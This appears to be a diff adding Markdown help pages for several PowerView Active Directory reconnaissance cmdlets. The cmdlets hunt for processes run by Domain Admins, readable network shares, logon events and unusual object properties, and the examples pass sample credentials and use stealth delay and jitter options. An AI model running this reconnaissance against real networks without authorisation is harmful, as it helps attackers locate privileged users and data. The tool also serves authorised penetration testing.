PowerView.LocalGroupMember.WinNT
Custom PSObject with translated group property fields from WinNT results.
## NOTES
## RELATED LINKS
+261
View File
@@ -0,0 +1,261 @@
# Find-DomainObjectPropertyOutlier
## SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass
## SYNTAX
### ClassName (Default)
```
Find-DomainObjectPropertyOutlier [-ClassName] <String> [-ReferencePropertySet <String[]>] [-Domain <String>]
[-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
```
### ReferenceObject
```
Find-DomainObjectPropertyOutlier [-ReferencePropertySet <String[]>] -ReferenceObject <PSObject>
[-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
```
## DESCRIPTION
Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass.
If a -ReferenceObject is passed, the class is extracted from the passed object.
A 'reference' set of property names is then calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject.
These property names are substracted
from the master schema propertyu name list to retrieve a set of 'non-standard' properties.
Every user/group/computer object (depending on determined class) are enumerated, and for each
object, if the object has a 'non-standard' property set, the object samAccountName, property
name, and property value are output to the pipeline.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainObjectPropertyOutlier -User
```
Enumerates users in the current domain with 'outlier' properties filled in.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-DomainObjectPropertyOutlier -Group -Domain external.local
```
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
### -------------------------- EXAMPLE 3 --------------------------
```
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
```
Enumerates computers in the current domain with 'outlier' properties filled in.
## PARAMETERS
### -ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
```yaml
Type: String
Parameter Sets: ClassName
Aliases: Class
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ReferencePropertySet
Specifies an array of property names to diff against the class schema.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
```yaml
Type: PSObject
Parameter Sets: ReferenceObject
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to use for the query, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchBase
The LDAP source to search through, e.g.
"LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
## NOTES
## RELATED LINKS
+517
View File
@@ -0,0 +1,517 @@
# Find-DomainProcess
## SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
## SYNTAX
### None (Default)
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>]
[-Jitter <Double>] [-Threads <Int32>]
```
### TargetProcess
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-ProcessName <String[]>] [-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
### UserIdentity
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
### TargetUser
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]
[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>]
[-UserGroupIdentity <String[]>] [-UserAdminCount] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember.
Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName.
If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainProcess
```
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
```
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
### -------------------------- EXAMPLE 3 --------------------------
```
Find-DomainProcess -ProcessName putty.exe
```
Searchings for instances of putty.exe running on the current domain.
### -------------------------- EXAMPLE 4 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
## PARAMETERS
### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerUnconstrained
Switch.
Search computer objects that have unconstrained delegation.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Unconstrained
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ProcessName
Search for processes with one or more specific names.
```yaml
Type: String[]
Parameter Sets: TargetProcess
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserIdentity
Specifies one or more user identities to search for.
```yaml
Type: String[]
Parameter Sets: UserIdentity, TargetUser
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
```yaml
Type: String
Parameter Sets: TargetUser
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
```yaml
Type: String
Parameter Sets: TargetUser
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: TargetUser
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: GroupName, Group
Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserAdminCount
Switch.
Search for users users with '(adminCount=1)' (meaning are/were privileged).
```yaml
Type: SwitchParameter
Parameter Sets: TargetUser
Aliases: AdminCount
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain and target systems.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
```yaml
Type: Double
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```
### -Threads
The number of threads to use for user searching, defaults to 20.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.UserProcess
## NOTES
## RELATED LINKS
+335
View File
@@ -0,0 +1,335 @@
# Find-DomainShare
## SYNOPSIS
Searches for computer shares on the domain.
If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
## SYNTAX
```
Find-DomainShare [[-ComputerName] <String[]>] [-ComputerDomain <String>] [-ComputerLDAPFilter <String>]
[-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>] [-ComputerServicePack <String>]
[-ComputerSiteName <String>] [-CheckShareAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare.
If -CheckShareAccess is passed, then
\[IO.Directory\]::GetFiles() is used to check if the current user has read
access to the given share.
If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainShare
```
Find all domain shares in the current domain.
### -------------------------- EXAMPLE 2 --------------------------
```
Find-DomainShare -CheckShareAccess
```
Find all domain shares in the current domain that the current user has
read access to.
### -------------------------- EXAMPLE 3 --------------------------
```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
## PARAMETERS
### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases: Domain
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -CheckShareAccess
Switch.
Only display found shares that the local user has access to.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: CheckAccess
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target domain and target systems.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
```yaml
Type: Double
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```
### -Threads
The number of threads to use for user searching, defaults to 20.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.ShareInfo
## NOTES
## RELATED LINKS
+451
View File
@@ -0,0 +1,451 @@
# Find-DomainUserEvent
## SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
## SYNTAX
### Domain (Default)
```
Find-DomainUserEvent [-Domain <String>] [-Filter <Hashtable>] [-StartTime <DateTime>] [-EndTime <DateTime>]
[-MaxEvents <Int32>] [-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>]
[-UserSearchBase <String>] [-UserGroupIdentity <String[]>] [-UserAdminCount] [-CheckAccess] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]
```
### ComputerName
```
Find-DomainUserEvent [[-ComputerName] <String[]>] [-Filter <Hashtable>] [-StartTime <DateTime>]
[-EndTime <DateTime>] [-MaxEvents <Int32>] [-UserIdentity <String[]>] [-UserDomain <String>]
[-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserGroupIdentity <String[]>] [-UserAdminCount]
[-CheckAccess] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>]
[-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>]
[-Threads <Int32>]
```
## DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-DomainUserEvent
```
Search for any user events matching domain admins on every DC in the current domain.
### -------------------------- EXAMPLE 2 --------------------------
```
$cred = Get-Credential dev\administrator
```
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
### -------------------------- EXAMPLE 3 --------------------------
```
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
```
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
### -------------------------- EXAMPLE 4 --------------------------
```
$cred = Get-Credential testlab\administrator
```
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
## PARAMETERS
### -ComputerName
Specifies an explicit computer name to retrieve events from.
```yaml
Type: String[]
Parameter Sets: ComputerName
Aliases: dnshostname, HostName, name
Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```
### -Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
```yaml
Type: String
Parameter Sets: Domain
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
```yaml
Type: Hashtable
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -StartTime
The \[DateTime\] object representing the start of when to collect events.
Default of \[DateTime\]::Now.AddDays(-1).
```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [DateTime]::Now.AddDays(-1)
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```
### -EndTime
The \[DateTime\] object representing the end of when to collect events.
Default of \[DateTime\]::Now.
```yaml
Type: DateTime
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [DateTime]::Now
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```
### -MaxEvents
The maximum number of events (per host) to retrieve.
Default of 5000.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 5000
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserIdentity
Specifies one or more user identities to search for.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
"LDAP://OU=secret,DC=testlab,DC=local".
Useful for OU queries.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: GroupName, Group
Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```
### -UserAdminCount
Switch.
Search for users users with '(adminCount=1)' (meaning are/were privileged).
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: AdminCount
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -CheckAccess
{{Fill CheckAccess Description}}
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Server
Specifies an Active Directory server (domain controller) to bind to.
```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```
### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```
### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Credential
A \[Management.Automation.PSCredential\] object of alternate credentials
for connection to the target computer(s).
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
```yaml
Type: Double
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```
### -Threads
The number of threads to use for user searching, defaults to 20.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
### PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
## NOTES
## RELATED LINKS
[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/)
+579
View File
@@ -0,0 +1,579 @@
# Find-DomainUserLocation
## SYNOPSIS
Finds domain machines where specific users are logged into.
